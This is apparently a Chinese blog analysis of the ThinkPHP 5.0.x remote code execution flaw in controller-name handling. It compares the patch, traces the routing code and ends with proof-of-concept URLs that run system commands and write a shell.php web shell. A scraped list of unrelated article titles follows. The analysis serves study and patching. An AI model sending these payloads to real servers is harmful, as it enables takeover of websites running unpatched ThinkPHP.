12月9日,thinkPHP5.*发布了安全更新,这次更新修复了一处严重级别的漏洞,该漏洞可导致(php/系统)代码执行,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。

此前没有研究过thinkPHP框架,这次借这个漏洞学习一下。

#0x01 补丁比对

比较5.0.22和5.0.23的差异,关键点在app的module方法。

5.0.22:

//获取控制器名

$controller = strip_tags($result[1] ?: $config['default_controller']);$controller = $convert ? strtolower($controller) : $controller;

5.0.23:

//获取控制器名

$controller = strip_tags($result[1] ?: $config['default_controller']);if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {throw new HttpException(404, 'controller not exists:' . $controller);

}$controller = $convert ? strtolower($controller) : $controller;

更新了对于控制器名的检查,可见问题就出在这个控制器的失控。

#0x02漏洞分析

thinkphp各版本代码差异较大,以下使用thinkphp5.0.22版本。

在入口app::run:

if (empty($dispatch)) {

$dispatch = self::routeCheck($request, $config);

}

app::routeCheck:

//Request::path获取http $_SERVER以及根据config配置参数进行处理

/*

$path = '{$module}/{$controller}/{$action}?{$param1}={$val1}&{$param2}={$val2}……'

*/

$path = $request->path();

$depr = $config['pathinfo_depr'];

$result = false;

这里先去request::path获取参数:

public function pathinfo()

{

if (is_null($this->pathinfo)) {

if (isset($_GET[Config::get('var_pathinfo')])) { #s

// 判断URL里面是否有兼容模式参数

$_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')];

unset($_GET[Config::get('var_pathinfo')]);

} elseif (IS_CLI) {

// CLI模式下 index.php module/controller/action/params/...

$_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';

}

// 分析PATHINFO信息

if (!isset($_SERVER['PATH_INFO'])) {

foreach (Config::get('pathinfo_fetch') as $type) { #['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL']

if (!empty($_SERVER[$type])) {

$_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?

substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];

break;

}

}

}

$this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');

}

return $this->pathinfo;

}

/**

* 获取当前请求URL的pathinfo信息(不含URL后缀)

* @access public

* @return string

*/

public function path()

{

if (is_null($this->path)) {

$suffix = Config::get('url_html_suffix'); #html

$pathinfo = $this->pathinfo();

if (false === $suffix) {

// 禁止伪静态访问

$this->path = $pathinfo;

} elseif ($suffix) {

// 去除正常的URL后缀

$this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);

} else {

// 允许任何后缀访问

$this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);

}

}

return $this->path;

}

这里通过几种方式去解析路径,可以利用兼容模式传入s参数,去传递一个带反斜杠的路径(eg:\think\app),如果使用phpinfo模式去传参,传入的反斜杠会被替换为'\'。

回到routeCheck:

// 路由检测(根据路由定义返回不同的URL调度)

$result = Route::check($request, $path, $depr, $config['url_domain_deploy']); #false

$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must']; #false

if ($must && false === $result) {

// 路由无效

throw new RouteNotFoundException();

}

}

// 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索

if (false === $result) {

$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);

}

路由检测时失败,如果开启了强制路由检查会抛出RouteNotFoundException,但默认这个强制路由是不开启的,也就是官方指的没有开启强制路由可能getshell。

Route::parseUrl:

public static function parseUrl($url, $depr = '/', $autoSearch = false)

{

if (isset(self::$bind['module'])) {

$bind = str_replace('/', $depr, self::$bind['module']);

// 如果有模块/控制器绑定

$url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr);

}

$url = str_replace($depr, '|', $url);

list($path, $var) = self::parseUrlPath($url);

$route = [null, null, null];

if (isset($path)) {

// 解析模块

$module = Config::get('app_multi_module') ? array_shift($path) : null;

if ($autoSearch) {

// 自动搜索控制器

$dir = APP_PATH . ($module ? $module . DS : '') . Config::get('url_controller_layer');

$suffix = App::$suffix || Config::get('controller_suffix') ? ucfirst(Config::get('url_controller_layer')) : '';

$item = [];

$find = false;

foreach ($path as $val) {

$item[] = $val;

$file = $dir . DS . str_replace('.', DS, $val) . $suffix . EXT;

$file = pathinfo($file, PATHINFO_DIRNAME) . DS . Loader::parseName(pathinfo($file, PATHINFO_FILENAME), 1) . EXT;

if (is_file($file)) {

$find = true;

break;

} else {

$dir .= DS . Loader::parseName($val);

}

}

if ($find) {

$controller = implode('.', $item);

$path = array_slice($path, count($item));

} else {

$controller = array_shift($path);

}

} else {

// 解析控制器

$controller = !empty($path) ? array_shift($path) : null;

}

// 解析操作

$action = !empty($path) ? array_shift($path) : null;

// 解析额外参数

self::parseUrlParams(empty($path) ? '' : implode('|', $path));

// 封装路由

$route = [$module, $controller, $action];

// 检查地址是否被定义过路由

$name = strtolower($module . '/' . Loader::parseName($controller, 1) . '/' . $action);

$name2 = '';

if (empty($module) || isset($bind) && $module == $bind) {

$name2 = strtolower(Loader::parseName($controller, 1) . '/' . $action);

}

if (isset(self::$rules['name'][$name]) || isset(self::$rules['name'][$name2])) {

throw new HttpException(404, 'invalid request:' . str_replace('|', $depr, $url));

}

}

return ['type' => 'module', 'module' => $route];

}

/**

* 解析URL的pathinfo参数和变量

* @access private

* @param string $url URL地址

* @return array

*/

private static function parseUrlPath($url)

{

// 分隔符替换 确保路由定义使用统一的分隔符

$url = str_replace('|', '/', $url);

$url = trim($url, '/');

#echo $url."
";

$var = [];

if (false !== strpos($url, '?')) {

// [模块/控制器/操作?]参数1=值1&参数2=值2...

$info = parse_url($url);

$path = explode('/', $info['path']);

parse_str($info['query'], $var);

} elseif (strpos($url, '/')) {

// [模块/控制器/操作]

$path = explode('/', $url);

} else {

$path = [$url];

}

return [$path, $var];

}

这里拆分模块/控制器/操作,传入的url受用户控制,处理后分割成一个module数组返回。

之后交给app::module处理:

// 获取控制器名

$controller = strip_tags($result[1] ?: $config['default_controller']);

#这里是本次补丁的修补位置,对控制器名增加检查

$controller = $convert ? strtolower($controller) : $controller;

......

try {

$instance = Loader::controller(

$controller,

$config['url_controller_layer'],

$config['controller_suffix'],

$config['empty_controller']

);

} catch (ClassNotFoundException $e) {

throw new HttpException(404, 'controller not exists:' . $e->getClass());

}

这里会调用loader::controller对控制器进行一个检查:

public static function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')

{

list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix);

if (class_exists($class)) {

return App::invokeClass($class);

}

if ($empty) {

$emptyClass = self::parseClass($module, $layer, $empty, $appendSuffix);

if (class_exists($emptyClass)) {

return new $emptyClass(Request::instance());

}

}

throw new ClassNotFoundException('class not exists:' . $class, $class);

}

如果class_exists检测存在,就会去实例化这个类,之后invokeMethod对操作实现调用。

#0x03 利用方法

通过兼容模式传入一个以反斜杠开始的类名,由于命名空间的特点,可以实例化任何一个存在的类(由于class_exists检查,需要应用载入过)。

比如我们传入index/\think\app/invokefunction,parseUrl拆解出的模块,控制器,操作分别对应index,\think\app,invokefunction,只要能通过检查,就会去调用app::invokefunction。

用这样的方法,去寻找合适的类实例化来造成代码执行。

#0x04 Poc

/thinkphp/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

/thinkphp/public/?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=1

/thinkphp/public/?s=index/\think\app/invokefunction&function=system&vars=dir

/thinkphp/public/?s=index/\think\app/invokefunction&function=system&return_value=&command=dir

/thinkphp/public/?s=index/\think\app/invokefunction&function=system&vars[0]=dir&vars[1][]=

/thinkphp/public/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>

ps:

前面太蠢了,只知道生硬的看代码,后来终于想起来开启thinkphp的调试模式,再找问题就比较容易了。

thinkphp v5.0.11漏洞_ThinkPHP(5.1.x ~ 5.1.31 5.0.x ~ 5.0.23)GetShell漏洞相关推荐

  1. MySQL8.0.11的安装和Navicat连接mysql

    在window7系统下: 官方下载链接: cdn.mysql.com//Downloads/- 下载完后,我们将 zip 包解压到相应的目录,这里我将解压后的文件夹放在 C:\web\mysql-8. ...

  2. [Mac]苹果系统安装burpsuite 2.0.11

    相信大家都不喜欢用java文件打开运行.图标不好看=.=还要去写自动操作脚本. 这次我给大家带来.如何在苹果系统实现简单又好看的功能. 这是我最终的形态 1.先去官网下载最新版本 Burp Suite ...

  3. JJWT 0.11.2使用,工具类

    方案一 导入JJWT依赖 <!--jjwt的相关依赖--><dependency><groupId>io.jsonwebtoken</groupId>& ...

  4. thinkphp v5.0.11漏洞_Thinkphp 5.0远程代码执行漏洞

    0x01 简叙本次版本更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版 ...

  5. ThinkPHP V5.0.5漏洞_ThinkPHP漏洞分析与利用

    一.组件介绍 1.1 基本信息 ThinkPHP是一个快速.兼容而且简单的轻量级国产PHP开发框架,遵循Apache 2开源协议发布,使用面向对象的开发结构和MVC模式,融合了Struts的思想和Ta ...

  6. ThinkPHP V5.0.5漏洞_ThinkPHP 5.x 远程命令执行漏洞分析与复现

    php中文网最新课程 每日17点准时技术干货分享 0x00 前言 ThinkPHP 官方 2018 年 12 月 9 日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新 ...

  7. ThinkPHP V5.0.5漏洞_漏洞考古:thiknphp5 代码执行漏洞

    thinkphp版本:v5.0.5 下载地址 https://www.thinkphp.cn/down/870.html poc:?s=index/thinkapp/invokefunction&am ...

  8. Thinkphp V5.X 远程代码执行漏洞 - POC(精:集群5.0*、5.1*、5.2*)

    thinkphp-RCE-POC 官方公告: 1.https://blog.thinkphp.cn/869075 2.https://blog.thinkphp.cn/910675 POC: 批量检测 ...

  9. 威胁预警|多个挖矿僵尸网络开始使用ThinkPHP v5漏洞 威胁升级

    前言 12月10日ThinkPHP团队发布了版本更新,修复了一处远程命令执行漏洞,该漏洞是由于ThinkPHP框架对控制器没有进行严格的安全过滤,致使攻击者可以伪造恶意参数进行代码执行.12月11日阿 ...

最新文章

  1. SpringBoot+SpringSecurity前后端分离+Jwt的权限认证(改造记录)
  2. 红帽将召开“开放你的世界”在线论坛
  3. android微信打不开怎么办,微信打不开怎么回事
  4. JS密码校验规则前台验证(不能连续字符(如123、abc)连续3位或3位以上)(不能相同字符(如111、aaa)连续3位或3位以上)...
  5. java怎么得到1.5_如何使用httpclient获取SSL网站页面源码(jdk1.5)(中篇)
  6. UI设计灵感|有声读物APP界面设计
  7. unity3d用鼠标拖动物体的一段代码
  8. XML的注释踩坑记录
  9. oracle主键与索引,oracle 主键 \索引
  10. DB2错误码sqlcode对应表
  11. 苹果电脑安装windows系统 失败后 磁盘空间丢失
  12. 如何在Windows中安全删除垃圾箱(回收站)
  13. 六款国产杀毒软件资源占用测试,八款杀毒软件横向评测:系统资源占用篇
  14. 一战北邮计专考研经验分享
  15. 基于扰动观测器的直流电机调速系统,(售出不退慎拍!) 有计算公式,仿真模型
  16. android 镜像文件img 介绍
  17. IDM+毒(du)盘 = 高速下载互联网中大部分资源
  18. (9)隐蔽通道重点知识复习笔记
  19. java_servlet字符过滤器filter
  20. 5位音视频技术专家热议WebRTC、Qos、AI、4K

热门文章

  1. xamarin_如何实现声明性Xamarin表单验证
  2. 良好的编码本能最终会让您大吃一惊
  3. go 链路追踪_使用opentracing,jaeger实现golang链路追踪
  4. SpringBoot-异常处理
  5. Python编写俄罗斯方块小游戏
  6. 示例:用户登录(python版)
  7. Docker 操作命令 整理
  8. 微软认知服务开发实践(1) - 牛津计划简介
  9. RDL(C) Report Design Step by Step 3: Mail Label
  10. python变量名区分大小写_python变量名要不要区分大小写